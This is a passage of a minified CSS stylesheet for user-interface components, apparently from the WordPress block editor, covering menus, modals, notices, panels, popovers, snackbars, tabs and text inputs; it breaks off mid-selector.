.components-menu-items__item-icon,.components-menu-item__button .components-menu-items__item-icon{margin-right:-2px;margin-left:24px;display:inline-block;flex:0 0 auto}.components-menu-item__button.components-button .components-menu-item__shortcut+.components-menu-items__item-icon,.components-menu-item__button .components-menu-item__shortcut+.components-menu-items__item-icon{margin-left:8px}.components-menu-item__button .block-editor-block-icon,.components-menu-item__button.components-button .block-editor-block-icon{margin-left:-2px;margin-right:8px}.components-menu-item__info-wrapper{display:flex;flex-direction:column;margin-right:auto}.components-menu-item__info{margin-top:4px;font-size:12px;color:#757575;white-space:normal}.components-menu-item__item{white-space:nowrap;margin-right:auto;display:inline-flex;align-items:center}.components-menu-item__shortcut{-ms-grid-row-align:center;align-self:center;margin-right:0;margin-left:auto;padding-left:24px;color:currentColor;display:none}@media (min-width:480px){.components-menu-item__shortcut{display:inline}}.components-menu-items-choice.components-button svg,.components-menu-items-choice svg{margin-right:12px}.components-menu-items-choice.components-button.has-icon,.components-menu-items-choice.has-icon{padding-left:12px}.components-modal__screen-overlay{position:fixed;top:0;right:0;bottom:0;left:0;background-color:rgba(0,0,0,.35);z-index:100000;animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-modal__screen-overlay{animation-duration:1ms}}.components-modal__frame{position:absolute;top:0;right:0;bottom:0;left:0;box-sizing:border-box;margin:0;border:1px solid #ddd;background:#fff;box-shadow:0 3px 30px rgba(0,0,0,.2);overflow:auto}@media (min-width:600px){.components-modal__frame{top:50%;right:auto;bottom:auto;left:50%;min-width:360px;max-width:calc(100% - 32px);max-height:90%;transform:translate(-50%,-50%);animation:components-modal__appear-animation .1s ease-out;animation-fill-mode:forwards}}@media (min-width:600px) and (prefers-reduced-motion:reduce){.components-modal__frame{animation-duration:1ms}}@keyframes components-modal__appear-animation{0%{margin-top:32px}to{margin-top:0}}.components-modal__header{box-sizing:border-box;border-bottom:1px solid #ddd;padding:0 24px;display:flex;flex-direction:row;justify-content:space-between;background:#fff;align-items:center;height:60px;z-index:10;position:relative;position:-webkit-sticky;position:sticky;top:0;margin:0 -24px 24px}@supports (-ms-ime-align:auto){.components-modal__header{position:fixed;width:100%}}.components-modal__header .components-modal__header-heading{font-size:1rem;font-weight:600}.components-modal__header h1{line-height:1;margin:0}.components-modal__header .components-button{position:relative;left:8px}.components-modal__header-heading-container{align-items:center;flex-grow:1;display:flex;flex-direction:row;justify-content:left}.components-modal__header-icon-container{display:inline-block}.components-modal__header-icon-container svg{max-width:36px;max-height:36px;padding:8px}.components-modal__content{box-sizing:border-box;height:100%;padding:0 24px 24px}@supports (-ms-ime-align:auto){.components-modal__content{padding-top:60px}}.components-notice{display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;background-color:#fff;border-left:4px solid #007cba;border-left:4px solid var(--wp-admin-theme-color);margin:5px 15px 2px;padding:8px 12px;align-items:center}.components-notice.is-dismissible{padding-right:36px;position:relative}.components-notice.is-success{border-left-color:#4ab866;background-color:#eff9f1}.components-notice.is-warning{border-left-color:#f0b849;background-color:#fef8ee}.components-notice.is-error{border-left-color:#cc1818;background-color:#f4a2a2}.components-notice__content{flex-grow:1;margin:4px 25px 4px 0}.components-notice__action.components-button,.components-notice__action.components-button.is-link{margin-left:12px}.components-notice__action.components-button.is-secondary{vertical-align:initial}.components-notice__dismiss{color:#757575;align-self:flex-start;flex-shrink:0}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):focus,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):active,.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#1e1e1e;background-color:transparent}.components-notice__dismiss:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{box-shadow:none}.components-notice-list{max-width:100vw;box-sizing:border-box;z-index:29}.components-notice-list .components-notice__content{margin-top:12px;margin-bottom:12px;line-height:2}.components-notice-list .components-notice__action.components-button{display:block;margin-left:0;margin-top:8px}.components-panel{background:#fff;border:1px solid #e0e0e0}.components-panel>.components-panel__body:first-child,.components-panel>.components-panel__header:first-child{margin-top:-1px}.components-panel>.components-panel__body:last-child,.components-panel>.components-panel__header:last-child{border-bottom-width:0}.components-panel+.components-panel{margin-top:-1px}.components-panel__body{border-top:1px solid #e0e0e0;border-bottom:1px solid #e0e0e0}.components-panel__body h3{margin:0 0 .5em}.components-panel__body.is-opened{padding:16px}.components-panel__header{display:flex;justify-content:space-between;align-items:center;padding:0 16px;height:48px;border-top:1px solid #ddd;border-bottom:1px solid #ddd}.components-panel__header h2{margin:0;font-size:inherit;color:inherit}.components-panel__body+.components-panel__body,.components-panel__body+.components-panel__header,.components-panel__header+.components-panel__body,.components-panel__header+.components-panel__header{margin-top:-1px}.components-panel__body>.components-panel__body-title{display:block;padding:0;font-size:inherit;margin-top:0;margin-bottom:0;transition:background .1s ease-in-out}@media (prefers-reduced-motion:reduce){.components-panel__body>.components-panel__body-title{transition-duration:0s}}.components-panel__body.is-opened>.components-panel__body-title{margin:-16px -16px 5px}.components-panel__body>.components-panel__body-title:hover{background:#f0f0f0;border:none}.components-panel__body-toggle.components-button{position:relative;padding:16px;outline:none;width:100%;font-weight:500;text-align:left;color:#1e1e1e;border:none;box-shadow:none;transition:background .1s ease-in-out;height:auto}@media (prefers-reduced-motion:reduce){.components-panel__body-toggle.components-button{transition-duration:0s}}.components-panel__body-toggle.components-button:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);border-radius:0}.components-panel__body-toggle.components-button .components-panel__arrow{position:absolute;right:16px;top:50%;transform:translateY(-50%);color:#1e1e1e;fill:currentColor;transition:color .1s ease-in-out}@media (prefers-reduced-motion:reduce){.components-panel__body-toggle.components-button .components-panel__arrow{transition-duration:0s}}body.rtl .components-panel__body-toggle.components-button .dashicons-arrow-right{transform:scaleX(-1);-ms-filter:fliph;filter:FlipH;margin-top:-10px}.components-panel__icon{color:#757575;margin:-2px 0 -2px 6px}.components-panel__body-toggle-icon{margin-right:-5px}.components-panel__color-title{float:left;height:19px}.components-panel__row{display:flex;justify-content:space-between;align-items:center;margin-top:8px;min-height:36px}.components-panel__row select{min-width:0}.components-panel__row label{margin-right:12px;flex-shrink:0;max-width:75%}.components-panel__row:empty,.components-panel__row:first-of-type{margin-top:0}.components-panel .circle-picker{padding-bottom:20px}.components-placeholder.components-placeholder{box-sizing:border-box;position:relative;padding:1em;min-height:200px;width:100%;text-align:left;margin:0;color:#1e1e1e;-moz-font-smoothing:subpixel-antialiased;-webkit-font-smoothing:subpixel-antialiased;border-radius:2px;background-color:#fff;box-shadow:inset 0 0 0 1px #1e1e1e;outline:1px solid transparent}@supports ((position:-webkit-sticky) or (position:sticky)){.components-placeholder.components-placeholder{display:flex;flex-direction:column;justify-content:center;align-items:flex-start}}.components-placeholder.components-placeholder .components-base-control__label{font-size:13px}.components-placeholder__error,.components-placeholder__fieldset,.components-placeholder__instructions,.components-placeholder__label{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-placeholder__label{display:flex;font-weight:600;margin-bottom:16px;align-items:center}.components-placeholder__label .block-editor-block-icon,.components-placeholder__label .dashicon,.components-placeholder__label>svg{fill:currentColor;margin-right:1ch}.components-placeholder__fieldset,.components-placeholder__fieldset form{display:flex;flex-direction:row;width:100%;flex-wrap:wrap}.components-placeholder__fieldset form p,.components-placeholder__fieldset p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{flex-direction:column}.components-placeholder__input[type=url]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal;margin:0 8px 0 0;flex:1 1 auto}@media (prefers-reduced-motion:reduce){.components-placeholder__input[type=url]{transition-duration:0s}}@media (min-width:600px){.components-placeholder__input[type=url]{font-size:13px;line-height:normal}}.components-placeholder__input[type=url]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-placeholder__input[type=url]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-placeholder__input[type=url]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-placeholder__input[type=url]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-placeholder__input[type=url]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-placeholder__input[type=url]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-placeholder__input[type=url]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}.components-placeholder__instructions{margin-bottom:1em}.components-placeholder__error{margin-top:1em;width:100%}.components-placeholder__preview img{margin:3%;width:50%}.components-placeholder__fieldset .components-button{margin-right:12px;margin-bottom:12px}.components-placeholder__fieldset .components-button:last-child{margin-bottom:0;margin-right:0}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{margin-left:10px;margin-right:10px}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{margin-right:0}.components-placeholder.is-large .components-placeholder__label{font-size:18pt;font-weight:400}.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{display:none}.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{flex-direction:column}.components-placeholder.is-medium .components-placeholder__fieldset .components-button,.components-placeholder.is-small .components-placeholder__fieldset .components-button{margin-right:auto}.components-placeholder.is-small .components-button{padding:0 8px 2px} /*!rtl:begin:ignore*/.components-popover{position:fixed;z-index:1000000;top:0;left:0;opacity:0}.components-popover.is-expanded,.components-popover[data-x-axis][data-y-axis]{opacity:1}.components-popover.is-expanded{top:0;left:0;right:0;bottom:0;z-index:1000000!important}.components-popover:not(.is-without-arrow){margin-left:2px}.components-popover:not(.is-without-arrow):before{border:8px solid #ccc}.components-popover:not(.is-without-arrow).is-alternate:before{border-color:#1e1e1e}.components-popover:not(.is-without-arrow):after{border:8px solid #fff}.components-popover:not(.is-without-arrow):after,.components-popover:not(.is-without-arrow):before{content:"";position:absolute;height:0;width:0;line-height:0}.components-popover:not(.is-without-arrow)[data-y-axis=top]{margin-top:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=top]:before{bottom:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=top]:after{bottom:-6px}.components-popover:not(.is-without-arrow)[data-y-axis=top]:after,.components-popover:not(.is-without-arrow)[data-y-axis=top]:before{border-bottom:none;border-left-color:transparent;border-right-color:transparent;border-top-style:solid;margin-left:-10px}.components-popover:not(.is-without-arrow)[data-y-axis=bottom]{margin-top:8px}.components-popover:not(.is-without-arrow)[data-y-axis=bottom]:before{top:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=bottom]:after{top:-6px}.components-popover:not(.is-without-arrow)[data-y-axis=bottom]:after,.components-popover:not(.is-without-arrow)[data-y-axis=bottom]:before{border-bottom-style:solid;border-left-color:transparent;border-right-color:transparent;border-top:none;margin-left:-10px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]{margin-left:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]:before{right:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]:after{right:-6px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]:after,.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=left]:before{border-bottom-color:transparent;border-left-style:solid;border-right:none;border-top-color:transparent}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]{margin-left:8px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]:before{left:-8px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]:after{left:-6px}.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]:after,.components-popover:not(.is-without-arrow)[data-y-axis=middle][data-x-axis=right]:before{border-bottom-color:transparent;border-left:none;border-right-style:solid;border-top-color:transparent}.components-popover[data-y-axis=top]{bottom:100%}.components-popover[data-y-axis=bottom]{top:100%}.components-popover[data-y-axis=middle]{align-items:center;display:flex}.components-popover.is-from-top{margin-top:12px}.components-popover.is-from-bottom{margin-top:-12px}.components-popover.is-from-left:not(.is-from-top):not(.is-from-bottom){margin-left:12px}.components-popover.is-from-right:not(.is-from-top):not(.is-from-bottom){margin-right:12px}.components-popover__content{height:100%;background:#fff;border:1px solid #ccc;box-shadow:0 2px 6px rgba(0,0,0,.05);border-radius:2px}.is-alternate .components-popover__content{border:1px solid #1e1e1e;box-shadow:none}.components-popover .components-popover__content{position:absolute;height:auto;overflow-y:auto}.components-popover.is-expanded .components-popover__content{position:static;height:calc(100% - 48px);overflow-y:visible;min-width:auto;border:none;border-top:1px solid #1e1e1e}.components-popover[data-y-axis=top] .components-popover__content{bottom:100%}.components-popover[data-x-axis=center] .components-popover__content{left:50%;transform:translateX(-50%)}.components-popover[data-x-axis=right] .components-popover__content{position:absolute;left:100%}.components-popover:not([data-y-axis=middle])[data-x-axis=right] .components-popover__content{margin-left:-25px}.components-popover[data-x-axis=left] .components-popover__content{position:absolute;right:100%}.components-popover:not([data-y-axis=middle])[data-x-axis=left] .components-popover__content{margin-right:-25px}.components-popover__header{align-items:center;background:#fff;display:flex;height:48px;justify-content:space-between;padding:0 8px 0 16px}.components-popover__header-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.components-popover__close.components-button{z-index:5} /*!rtl:end:ignore*/.components-radio-control{display:flex;flex-direction:column}.components-radio-control .components-base-control__help{margin-top:0}.components-radio-control .components-base-control__field{margin-bottom:0}.components-radio-control__option:not(:last-child){margin-bottom:4px}.components-radio-control__input[type=radio]{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;font-size:16px;line-height:normal;border:1px solid #1e1e1e;transition:none;border-radius:50%;width:24px;height:24px;margin-top:0;margin-right:6px}@media (prefers-reduced-motion:reduce){.components-radio-control__input[type=radio]{transition-duration:0s}}@media (min-width:600px){.components-radio-control__input[type=radio]{font-size:13px;line-height:normal}}.components-radio-control__input[type=radio]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-radio-control__input[type=radio]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-radio-control__input[type=radio]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-radio-control__input[type=radio]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-radio-control__input[type=radio]::-moz-placeholder{opacity:1;color:hsla(0,0%,100%,.65)}.is-dark-theme .components-radio-control__input[type=radio]:-ms-input-placeholder{color:hsla(0,0%,100%,.65)}@media (min-width:600px){.components-radio-control__input[type=radio]{height:20px;width:20px}}.components-radio-control__input[type=radio]:checked:before{width:8px;height:8px;transform:translate(7px,7px);margin:0;background-color:#fff;border:4px solid #fff}@media (min-width:600px){.components-radio-control__input[type=radio]:checked:before{transform:translate(5px,5px)}}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px #007cba;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.components-radio-control__input[type=radio]:checked{background:#007cba;background:var(--wp-admin-theme-color);border-color:#007cba;border-color:var(--wp-admin-theme-color)}.components-resizable-box__handle{display:none;width:23px;height:23px;z-index:2}.components-resizable-box__container.has-show-handle .components-resizable-box__handle{display:block}.components-resizable-box__handle:after{width:15px;height:15px;border:2px solid #fff;border-radius:50%;top:calc(50% - 8px);right:calc(50% - 8px)}.components-resizable-box__handle:after,.components-resizable-box__side-handle:before{display:block;content:"";background:#007cba;background:var(--wp-admin-theme-color);cursor:inherit;position:absolute}.components-resizable-box__side-handle:before{width:7px;height:7px;border:2px solid #fff;top:calc(50% - 4px);right:calc(50% - 4px);transition:transform .1s ease-in;opacity:0}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle:before{transition-duration:0s}}.is-dark-theme .components-resizable-box__handle:after,.is-dark-theme .components-resizable-box__side-handle:before{border-color:#ddd}.components-resizable-box__corner-handle,.components-resizable-box__side-handle{z-index:2}.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{width:100%;left:0;border-left:0;border-right:0}.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{height:100%;top:0;border-top:0;border-bottom:0}.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation-duration:1ms}}.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation:components-resizable-box__left-right-animation .1s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation-duration:1ms}}@media not all and (min-resolution:0.001dpcm){@supports (-webkit-appearance:none){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:none}}}@keyframes components-resizable-box__top-bottom-animation{0%{transform:scaleX(0);opacity:0}to{transform:scaleX(1);opacity:1}}@keyframes components-resizable-box__left-right-animation{0%{transform:scaleY(0);opacity:0}to{transform:scaleY(1);opacity:1}} /*!rtl:begin:ignore*/.components-resizable-box__handle-right{right:-11.5px}.components-resizable-box__handle-left{left:-11.5px}.components-resizable-box__handle-top{top:-11.5px}.components-resizable-box__handle-bottom{bottom:-11.5px} /*!rtl:end:ignore*/.components-responsive-wrapper{position:relative;max-width:100%}.components-responsive-wrapper,.components-responsive-wrapper>span{display:block}.components-responsive-wrapper__content{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%;margin:auto}.components-sandbox{overflow:hidden}iframe.components-sandbox{width:100%}body.lockscroll,html.lockscroll{overflow:hidden}.components-select-control__input{background:#fff;height:36px;line-height:36px;margin:1px;outline:0;width:100%;-webkit-tap-highlight-color:rgba(0,0,0,0)!important}@media (min-width:782px){.components-select-control__input{height:28px;line-height:28px}}@media (max-width:782px){.components-base-control .components-base-control__field .components-select-control__input{font-size:16px}}.components-snackbar{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;background-color:#1e1e1e;border-radius:2px;box-shadow:0 2px 4px rgba(0,0,0,.3);color:#fff;padding:16px 24px;width:100%;max-width:600px;box-sizing:border-box;cursor:pointer}@media (min-width:600px){.components-snackbar{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}}.components-snackbar:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #007cba;box-shadow:0 0 0 1px #fff,0 0 0 3px var(--wp-admin-theme-color)}.components-snackbar.components-snackbar-explicit-dismiss{cursor:default}.components-snackbar .components-snackbar__content-with-icon{margin-left:24px}.components-snackbar .components-snackbar__icon{position:absolute;top:24px;left:28px}.components-snackbar .components-snackbar__dismiss-button{margin-left:32px;cursor:pointer}.components-snackbar__action.components-button{margin-left:32px;color:#fff;height:auto;flex-shrink:0;line-height:1.4;padding:0}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary){text-decoration:underline;background-color:transparent}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):focus{color:#fff;box-shadow:none;outline:1px dotted #fff}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#007cba;color:var(--wp-admin-theme-color)}.components-snackbar__content{display:flex;align-items:baseline;justify-content:space-between;line-height:1.4}.components-snackbar-list{position:absolute;z-index:100000;width:100%;box-sizing:border-box}.components-snackbar-list__notice-container{position:relative;padding-top:8px}.components-tab-panel__tabs{display:flex;align-items:stretch;flex-direction:row}.components-tab-panel__tabs[aria-orientation=vertical]{flex-direction:column}.components-tab-panel__tabs-item{background:transparent;border:none;box-shadow:none;border-radius:0;cursor:pointer;height:48px;padding:3px 16px;margin-left:0;font-weight:500;transition:box-shadow .1s linear;box-sizing:border-box}.components-tab-panel__tabs-item:after{content:attr(data-label);display:block;height:0;overflow:hidden;speak:none;visibility:hidden}.components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:inset 0 2px #007cba;box-shadow:inset 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-tab-panel__tabs-item.is-active{box-shadow:inset 0 0 0 2px transparent,inset 0 -4px 0 0 #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) transparent,inset 0 -4px 0 0 var(--wp-admin-theme-color);position:relative}.components-tab-panel__tabs-item.is-active:before{content:"";position:absolute;top:0;bottom:1px;right:0;left:0;border-bottom:4px solid transparent}.components-tab-panel__tabs-item:focus{box-shadow:inset 0 0 0 2px #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-tab-panel__tabs-item.is-active:focus{box-shadow:inset 0 0 0 2px #007cba,inset 0 -4px 0 0 #007cba;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 -4px 0 0 var(--wp-admin-theme-color)}.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{width:100%;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;padding:6px 8px;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear;border-radius:2px;border:1px solid #757575;font-size:16px;line-height:normal}@media (prefers-reduced-motion:reduce){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{transition-duration:0s}}@media (min-width:600px){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{font-size:13px;line-height:normal}}.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{border-color:#007cba;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px #007cba;box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-placeholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{opacity:1;color:rgba(30,30,30,.62)}.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{color:rgba(30,30,30,.62)}.is-dark-theme .components-text-control__input::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=color]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=date]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=datetime]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=email]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=month]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=number]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=password]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=tel]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=text]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=time]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=url]::-webkit-input-placeholder,.is-dark-theme .components-text-control__input[type=week]::-webkit-input-placeholder{color:hsla(0,0%,100%,.65)}.is-dark-theme .components-text-control__input::-moz-placeholder,.is-dark-theme .components-text-control__input[type=color]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=date]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=datetime-local]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=datetime]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=email]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=month]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=number]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=password]::-moz-placeholder,.is-dark-theme .components-text-control__input[type=tel]::-moz-placeholder,.is-dark-theme 